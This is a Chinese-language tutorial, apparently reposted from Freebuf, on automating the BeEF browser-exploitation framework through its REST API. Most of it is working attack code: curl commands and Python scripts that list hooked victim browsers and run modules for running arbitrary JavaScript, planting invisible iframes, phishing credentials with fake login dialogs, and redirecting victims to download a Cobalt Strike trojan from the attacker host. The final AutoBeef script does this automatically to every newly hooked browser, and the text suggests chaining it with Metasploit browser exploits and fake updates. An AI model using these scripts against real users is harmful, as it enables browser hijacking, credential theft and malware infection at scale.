1. 程式人生 > >利用BeEF REST API自動化控制僵屍主機

利用BeEF REST API自動化控制僵屍主機

.... app https uri 應該 啟動 exception 但是 extension

本文已發布於Freebuf,屬於原創獎勵計劃,未經許可禁止轉載。

http://www.freebuf.com/articles/network/137662.html

技術分享

一. 前言

  關於BeEF,不再多介紹,它的強大毋庸置疑,利用它我們可以做很多事情。最近的一些實驗,需要用beef批量自動進行控制,發現網上也沒有過多關於這方面內容的介紹,於是學習了一下它的API,順便練習一下python編程,這裏把自己的學習內容分享下。本文涉及的一些內容可能具有一定的攻擊性,請遵守國家法律,禁止用於非法用途。

二. 通過API控制beef

  BeEF從0.4.3.3,版本開始,提供了靜態API接口,用戶可以通過發送HTTP / JSON請求控制Beef。

  我們可以通過程序,批量自動加載執行某些beef的模塊,實現比如自動維持權限,Getshell等功能。

  在後面的正文裏,每一個調用模塊的示例中,我都會嘗試單獨編寫代碼進行測試,最後,我會將各個部分組合起來,實現一個自動化控制的小demo。本文涉及到的所有代碼你都可以在這裏找到:https://github.com/ssooking/AutoBeef/。進入正題,我們先啟動beef。本機IP:192.168.1.133

默認hook js:http://192.168.1.133:3000/hook.js
默認hook頁面: http://192.168.1.133:3000/demos/basic.html
默認管理界面:  http:
//192.168.1.133:3000/ui/panel

技術分享

  當我們啟動beef的時候,會自動生成一個靜態API key,這個key用於身份認證,我們每次通過API進行控制時,都要添加這個參數值 。需要提到的是,如果你發現後文的API key,session等參數值發生了變化,是因為這篇文章不是一次寫完的,測試時因為重新開啟beef產生了變化,因此不要糾結,我們應該關註API如何調用。

下面,我們可以創建一個簡單的hook頁面 ,如xss.html

<html>
  <head>
    <script src="http://192.168.1.133:3000/hook.js"
></script>   </head> </html>

  我們也可以訪問默認hook頁面 http://192.168.1.133:3000/demos/basic.html,為了測試,這裏我使用了一臺虛擬機,本機也使一個瀏覽器被hook。在管理面板可以看到主機已經上線。

技術分享


  在控制臺,我們能夠直接看到被hook的主機,並執行相關攻擊模塊。那麽怎樣通過API實現這些功能呢?下面,我們將通過實例進行介紹。在此之前,我們需要知道的是,用於處理我們的API請求的文件,主要存放於beef框架下core目錄和core/api目錄下,我們可以在該目錄下查找並閱讀相關源代碼,了解功能的實現機制,使用API進行HTTP交互時,默認的交互數據類型為json。

獲取API Key

/api/admin/login是用戶登錄接口,通過該接口登錄之後,我們可以得到用於會話認證的API key

我們用curl命令,使用默認的口令提交登錄請求,會返回我們的key。這個功能可以被用於後文編寫自動化控制腳本。

curl -H "Content-Type: application/json" -X POST -d ‘{"username":"beef", "password":"beef"}‘ http://192.168.1.133:3000/api/admin/login

技術分享

我們可以用下面這樣一個簡單的小腳本實現,代碼也比較簡單,不再多廢話

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ** Author: ssooking

import json
import urllib2

def getauthkey(host):
    apiurl =  host + "api/admin/login"
    logindata = {
        "username":"beef", 
        "password":"beef"
    }
    jdata = json.dumps(logindata)             # 對數據進行JSON格式化編碼
    req = urllib2.Request(apiurl, jdata)      # 生成頁面請求的完整數據
    response = urllib2.urlopen(req)           # 發送頁面請求
    resdata = response.read()                 # 獲取服務器返回的頁面信息,數據類型為str
    jsondata =  json.loads(resdata)           # 把數據解析成python對象,此時返回dict數據      
    return jsondata[token]

if __name__ == __main__:
    host = "http://192.168.1.133:3000/"
    print getauthkey(host)

獲取hook主機列表

API中,我們要獲取hook主機信息的api接口為:api/hooks。提交請求的格式類似於這樣: api/hooks?token=xxxxx。需要的參數token的值是用於身份認證的API key。我們用curl命令發送請求,獲取hook主機列表信息。

curl http://192.168.1.133:3000/api/hooks?token=641640ae3ce89c4da45ee98de341f3e858f62bd3

技術分享

返回了當前hook的主機情況,返回的json數據格式不太友好,作為測試,我們可以使用json代碼格式化工具便於查看。

這裏是一個不錯的在線json編輯工具:http://tool.lu/json/。我們也可以直接在瀏覽器中訪問url,但是後文涉及提交某些必要的參數時,不能使用這種方式。

json代碼經過格式化之後,我們可以看到,有兩個主機上線。每個上線主機都有id號來表示身份。

技術分享

session參數值是後面通過A{I調用執行beef模塊時必須的參數,這個值你也可以在Web控制臺的Cookie處找到。

技術分享

我們也可以通過腳本發送類似的請求實現這個獲取這些信息,比如下面這個簡單的示例代碼

#!/usr/bin/env python
# -*- coding=utf-8 -*-
# ** Author: ssooking

import json
import urllib2

def getHookedBrowsers(host,authkey):
    f = urllib2.urlopen(host + "/api/hooks?token=" + authkey)
    data = json.loads(f.read())
    hooked = data["hooked-browsers"]["online"]
    print hooked
    return hooked

if __name__ == __main__:
    host = "http://192.168.1.133:3000/"
    key = "e7170da7263c46d8e505ab044017707107a2ee6f"
    getHookedBrowsers(host,key)

技術分享

如果你想知道某個被hook主機的詳細信息,只要加上瀏覽器session值即可,它的請求格式應該是這樣的

/api/hooks/瀏覽器session會話值?token=xxxxxxxxxxxxxxx

再來說說怎樣調用模塊,這部分功能是由/api/modules.rb控制的

列舉可調用的模塊信息

我們通過/api/modules接口列舉出可以調用的模塊

curl http://192.168.1.133:3000/api/modules?token=641640ae3ce89c4da45ee98de341f3e858f62bd3

技術分享

返回的格式不友好,我們直接在瀏覽器裏訪問

技術分享

我們可以發現,每一個模塊都有對應的id號。我們在beef控制臺裏隨便找一個,也可以找到這個id。但是需要註意一下,這個id號會因為你BeEF模塊數目的不同有所變化,在編寫代碼之前你應該確認這個id號。

技術分享

  如果你請求的格式像這樣: /api/modules/130?token=xxxxx , 即modules後面加上了具體的模塊id號,那麽可以得到這個模塊的詳細信息,比如需要的參數等

  所以,如果想要調用某個模塊,我們只需要知道這個模塊的id,並且在發送請求的的時候提供該模塊需要的參數即可。

  執行模塊時請求的格式是這樣的 /api/modules/:session/:module_id (session是被hook的瀏覽器會話,module_id即為beef模塊的id號)

  需要註意的是,提交參數時,Content-Type必須為json類型,字符集為 UTF-8,並且請求的主體內容必須是有效的json數據,這在後文有實例。

技術分享

執行BeEF模塊

  舉個調用例子。

  這裏使用一個簡單的權限維持模塊 Confirm Close Tab。這個模塊的作用是,受害者在試圖關閉選項卡時會向用戶顯示"關閉確認"對話框,通過這種方式來增加shell的存活時間。相關功能的模塊還有 Man-In-The-Browser,Create Foreground iFrame,Create Pop Under。

技術分享

我們可以看到,這個模塊id為177,不需要提供其他參數,那麽我們可以用curl模擬這種格式的請求來執行該模塊

curl -i -H "Content-Type: application/json; charset=UTF-8" -d ‘{}‘ http://xxxxx/api/modules/瀏覽器session/模塊id?token=xxxx

技術分享

雖然模塊不需要額外的參數,但是因為請求主體必須為json格式,所以我們用 -d ‘{}‘ 發送空數據。此時beef終端會有執行成功的提示。

如果你沒有這個參數,就會報如圖中 Invalid JSON input for module ‘177‘ 的錯誤

技術分享

在瀏覽器中驗證,當我們點擊關閉這個頁面時,會彈出確認框,說明成功加載了這個模塊。

技術分享

同樣的,我們可以編寫腳本執行該模塊

#!/usr/bin/env python
# -*- coding=utf-8 -*-
# ** Author: ssooking

import json
import urllib2

def sendConfirm(host, sessionId, authkey):
    postdata = {}
    url = host + "api/modules/" + sessionId + "/177?token=" + authkey
    print "[+] URL: " + url
    req = urllib2.Request(url, postdata)
    req.add_header("Content-Type", "application/json; charset=UTF-8")
    f = urllib2.urlopen(req)
    print f.read()

if __name__ == __main__:
    host = "http://192.168.1.133:3000/"
    sessionId = "tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU"
    key = "e7170da7263c46d8e505ab044017707107a2ee6f"
    sendConfirm(host,sessionId,key)

技術分享

來一個帶參數的例子,這次我使用的是Raw JavaScript模塊,這個模塊允許我們在目標瀏覽器上執行javascript代碼。註意,這些javascript代碼不能經過特殊編碼。

技術分享

這個模塊的id號為169,我們再來看看它需要的參數,通過下面這樣的請求獲取模塊詳細信息

http://192.168.1.133:3000/api/modules/169?token=be531aa684a8fd9ae86c36a3b062697706d9f2d5

技術分享

技術分享

需要提供的參數名為:"cmd",參數內容是我們要執行的Javascript代碼,我們可以用curl構造請求進行測試

curl -i -H "Content-Type: application/json; charset=UTF-8" -d {"cmd":"alert(\ssooking\);"} http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/169?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d36a3b062697706d9f2d5

技術分享

因為不能用多個單引號,所以我用alert(/ssooking/)代替,但是沒有彈出窗口,不過我使用自己編寫的腳本執行這個模塊就可以成功執行

#!/usr/bin/env python
# -*- coding=utf-8 -*-
# ** Author: ssooking

import json
import urllib2

def execJavascript(host, sessionId, authkey):

    payload={
        "cmd":"alert(‘Hello ssooking!‘);"
    }
    apiurl = host + "api/modules/" + sessionId + "/169?token=" + authkey
    print "[+] URL: " + apiurl
    jdata = json.dumps(payload)               # 對數據進行JSON格式化編碼
    req = urllib2.Request(apiurl, jdata)      # 生成頁面請求的完整數據
    req.add_header("Content-Type", "application/json; charset=UTF-8")
    response = urllib2.urlopen(req)           # 發送頁面請求
    resdata = response.read()                 # 獲取服務器返回的頁面信息,數據類型為str 
    return resdata

if __name__ == __main__:
    host = "http://192.168.1.133:3000/"
    sessionId = "ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso"
    key = "dadd1be063d3a3b4339d84f5bdbbcbb25616b41d"
    print execJavascript(host,sessionId,key)

技術分享

彈出了窗口

技術分享

再舉個帶參數的例子,這次我使用的是Create Invisible Iframe模塊,它的功能是創建一個隱藏的Frame。

這個模塊的id為174,需要的參數是隱藏的Frame所指向的url地址

技術分享

先查看一下模塊的詳細參數

技術分享

技術分享

可以看到,這個請求的這個url參數名為"target"。下面進行測試,我們使用python創建一個簡單的HTTP服務器

技術分享

我們用curl構造請求

curl -i -H "Content-Type: application/json; charset=UTF-8" -d ‘{"target":"http://192.168.1.133:8000/"}‘ http://192.168.1.133:3000/api/modules/tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU/174?token=32c75b5e91ef4e519da119349d2c0cbd7cd23259

執行成功,python HTTP上成功回顯,說明我們在目標的瀏覽器上創建了一個隱藏的iframe,並使其訪問了這個url地址

技術分享

技術分享

獲取模塊執行結果

有些模塊執行完畢後,我們需要獲取返回的數據,比如憑證欺騙模塊Pretty Theft,我們想要獲取用戶輸入的認證口令。

我們使用一個簡單的windows憑證認證模板

技術分享

這時候目標瀏覽器上會彈出認證框

技術分享

模擬提交了憑證之後,從beef的執行結果中,我們可以看到欺騙到的密碼

技術分享

下面就通過API調用執行該模塊,先看下參數

技術分享

查看模塊詳細信息,我們可以知道,需要設置的參數有:欺騙對話框類型"choice",背景風格"backing",Logo的圖片地址"imgsauce" ,因此請求示例應該像這樣:

curl -i -H "Content-Type: application/json; charset=UTF-8" -d {"choice":"Windows","backing":"Grey","imgsauce":"http://0.0.0.0:3000/ui/media/images/beef.png"} http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/117?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d

技術分享

技術分享

  

執行成功,並且返回了模塊執行的id為35。假設我們提交的口令是:test333/123456

技術分享

我們想要獲取受害者提供的這些認證信息,這時候,我們需要這樣請求:

/api/modules/瀏覽器session/模塊id/command_id?token=xxx

比如

技術分享

技術分享

Beef與metasploit聯用

  我們當然不能忘記了metasploit這個神器。Beef與metasploit聯用,實在是個大殺器。要想在beef加載metasploit,我們首先需要修改默認的配置文件,修改beef下config.yaml文件

技術分享

把啟用metasploit這個選項值改成true

技術分享

另外,如果你的metasploit安裝位置不包含在默認路徑裏,需要在beef-xss/extensions/metasploit/config.yaml的文件裏設置一下

技術分享

然後我們啟動msf加載msgrpc

msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"

技術分享

重啟beef即可加載metasploit模塊

技術分享

技術分享

  同樣的,如果你想調用Metasploit模塊,步驟與前面的都一樣,先查看改模塊的id所需參數等信息,然後構造請求調用這個模塊即可,關於metasploit模塊調用,因為過兩天就要考試了,沒有時間做測試,有興趣的朋友可以試一試。這個是 BeEF-RESTful-API的上一個請求示例。

curl -H "Content-Type: application/json; charset=UTF-8" -d {"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"} -X POST http://xxxx/api/modules/瀏覽器session?token=xxx

三. 編寫自動化控制腳本

  下面我嘗試編寫一個簡單的自動控制hook主機的腳本,批量執行我提前設定的一些模塊。我的思路是定時獲取hook主機的session信息 ,存放到一個字典裏,如果有新上線的僵屍主機的瀏覽器session,我們就通過API控制這個瀏覽器執行我們設定好的Beef模塊,並把這個session添加到一個列表裏,表示已經執行過。如果檢測到某個session已經存在於列表中,說明已經執行過,就不再執行。測試的代碼中,我用到了三個模塊:Confirm Close Tab,Raw Javascript,Redirect Browser。第一個模塊用於增加shell存活時間,第二個模塊用於執行javascript代碼,第三個模塊使瀏覽器進行跳轉下載,我把這個跳轉地址指向一個Cobalt Strike生成的測試木馬,並模擬受害者自動下載並運行惡意軟件。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ** Author: ssooking
# ** Name: AutoBeef.py

import json
import urllib2
import time

hostlist = []
hostdict = {}

def getauthkey(host):
    apiurl =  host + "api/admin/login"
    logindata = {
        "username":"beef",
        "password":"beef"
    }
    jdata = json.dumps(logindata)             # 對數據進行JSON格式化編碼
    req = urllib2.Request(apiurl, jdata)      # 生成頁面請求的完整數據
    response = urllib2.urlopen(req)           # 發送頁面請求
    resdata = response.read()                 # 獲取服務器返回的頁面信息,數據類型為str
    jsondata =  json.loads(resdata)           # 把數據解析成python對象,此時返回dict數據
    return jsondata[token]

def getHookedBrowsersSession(host,authkey):
    f = urllib2.urlopen(host + "/api/hooks?token=" + authkey)
    data = json.loads(f.read())
    hookonline = data[hooked-browsers][online]
    for x in hookonline:
        hookid = hookonline[x][id]
        hookip = hookonline[x][ip]
        hooksession = hookonline[x][session]
        if hookid not in hostdict:
            hostdict[hookid] = hooksession
            print "\n[+] Hooked host id:  " + bytes(hookid) + "\n   >>> IP: " + bytes(hookip) + "\n   >>> Session: " + hooksession

def sendConfirm(host, session, authkey):
    postdata = {}
    url = host + "api/modules/" + session + "/177?token=" + authkey
    #print url
    req = urllib2.Request(url, postdata)
    req.add_header("Content-Type", "application/json; charset=UTF-8")
    f = urllib2.urlopen(req)
    print "   >>> [+] Module Confirm Close Tab has been Executed ! "
    return f.read()

def execJavascript(host, session, authkey):

    payload={
        "cmd":"alert(‘Hello by ssooking!‘);"
    }
    apiurl = host + "api/modules/" + session + "/169?token=" + authkey
    jdata = json.dumps(payload)
    req = urllib2.Request(apiurl, jdata)
    req.add_header("Content-Type", "application/json; charset=UTF-8")
    response = urllib2.urlopen(req)
    resdata = response.read()
    print "   >>> [+] Module Raw JavaScript has been Executed ! "
    return resdata

def redirectBrowser(host, session, authkey):
    payload = {"redirect_url":"http://192.168.1.133:8000/plugins.exe"}
    apiurl = host + "api/modules/" + session + "/42?token=" + authkey
    jdata = json.dumps(payload)
    req = urllib2.Request(apiurl, jdata)
    req.add_header("Content-Type", "application/json; charset=UTF-8")
    response = urllib2.urlopen(req)
    resdata = response.read()
    jsondata =  json.loads(resdata)
    print "   >>> [+] Module Redirect Browser has been Executed ! "
    return jsondata

def createIFrame(host, sessionId, authkey):
    postdata = {"target":"http://192.168.1.133:8000/"}
    url = host + "api/modules/" + sessionId + "/174?token=" + authkey
    req = urllib2.Request(url, postdata)
    req.add_header("Content-Type", "application/json; charset=UTF-8")
    f = urllib2.urlopen(req)
    print "   >>> [+] Module Create Invisible Iframe has been Executed ! "
    return f.read()


def autoRunModules(host,session,authkey):
    #sendConfirm(host, session, authkey)
    #execJavascript(host, session, authkey)
    redirectBrowser(host, session, authkey)


def timeRun(interval,host):
    authkey = getauthkey(host)
    print "[+] AutoBeef is running...."
    print "[+] BeEF KEY is : "+ authkey
    print "[+] Base BeEF API URL: "+ host + "api/"
    print "[+] Hook URL   : " + host + "hook.js"
    print "[+] Hook Demo  : " + host + "demos/basic.html"
    while True:
        try:
            getHookedBrowsersSession(host, authkey)
            for x in hostdict:
                if hostdict[x] not in hostlist:
                    hostlist.append(hostdict[x])
                    autoRunModules(host,hostdict[x],authkey)
            time.sleep(interval)
        except Exception, e:
            print e

if __name__ == __main__:
    beefhost = "http://192.168.1.133:3000/"
    timeRun(3,beefhost)
 

代碼比較挫,沒有什麽要說的,容易遇到問題的地方是處理返回的數據類型,需要註意str,dict,list等數據類型的處理與轉換。我先只執行一個Redirect Browser模塊 技術分享

程序檢測到有新的上線控制僵屍,會控制瀏覽器自動下載我們的惡意程序

技術分享

技術分享

一旦受害者點擊這個程序,我們即可進一步獲得權限。

技術分享

技術分享

當受害者運行惡意軟件時,我們可以獲得進一步控制權

技術分享

當然我們也可以執行多個模塊,你只需要在autoRunModules函數中添加你想執行的模塊即可,比如我再測試執行Confirm Close Tab,Raw Javascript兩個模塊

技術分享

但是需要註意的是,有些模塊功能上是沖突的,不能一起執行,比如剛才的例子Confirm Close Tab和Redirect Browser。

技術分享

技術分享

技術分享

我們可以執行多個模塊,運行截圖

技術分享

到這裏也就基本差不多了,只要思路夠開闊,就有很多好玩的姿勢,下面一些好玩的模塊:

Create Invisible Frame + Browser Autopwn :我們可以用metasploit的 Browser Autopwn模塊生成一個攻擊瀏覽器的url,然後創建一個隱藏的iframe指向這個url

Raw Javascript : 光是這個就能幹很多事,不只是彈框哦~~

Fake Notification Bar ,Fake Flash Update: 偽裝瀏覽器插件,flash升級等,配合執行惡意軟件

Pretty Theft: 欺騙認證憑據的,可以試著自己做個模板,哪裏能用到?。。報名統計啦,手機投票啦~~

配合一些漏洞

ms10-046 Microsoft Windows Shell LNK Code Execution

CVE-2015-0096 Microsoft Windows Shell SMB LNK Code Execution Exploit

不知道能不能配合永恒之藍的msf模塊~~~~

對於手機,也有很多模塊可以使用

技術分享

關於代碼

如果你要使用AutoBeef,你需要對代碼進行一些修改使其適應你的beef平臺,比如beef主機地址,某個模塊的id等等。你可以根據自己的需要添加相關模塊,你也可以對其進行優化,使其更加健壯。其實官方也提供了beefapi的庫,你可以在這裏找到https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py。通過調用裏面的函數,我們也可以很方面地對beef進行控制,但是涉及到執行某個模塊時,我們還是需要查看模塊詳細信息,提供其必要的參數。所以,我建議自己可以動手實現一下,只有這樣我們才能進步提高,而且自己寫的代碼,可以根據自己的需要隨時進行拓展修改,遇到問題也能很快解決。

如果你要使用官方提供的beefAPI,你需要把它移植到你的python庫中,kali裏默認路徑是這樣:

sudo cp beefapi.py /usr/lib/python2.7/dist-packages/

使用的時候從beefapi中導入即可,你可以查看幫助或者閱讀其源代碼

技術分享

技術分享

遇到的問題

  測試過程中我使用的是chrome和firefox,並且發現IE,360等瀏覽器無法正常hook。

四. 最後的話

  只是一句話,不要隨便點開一個鏈接。

參考文章

https://github.com/beefproject/beef/wiki/BeEF-RESTful-API

https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py

利用BeEF REST API自動化控制僵屍主機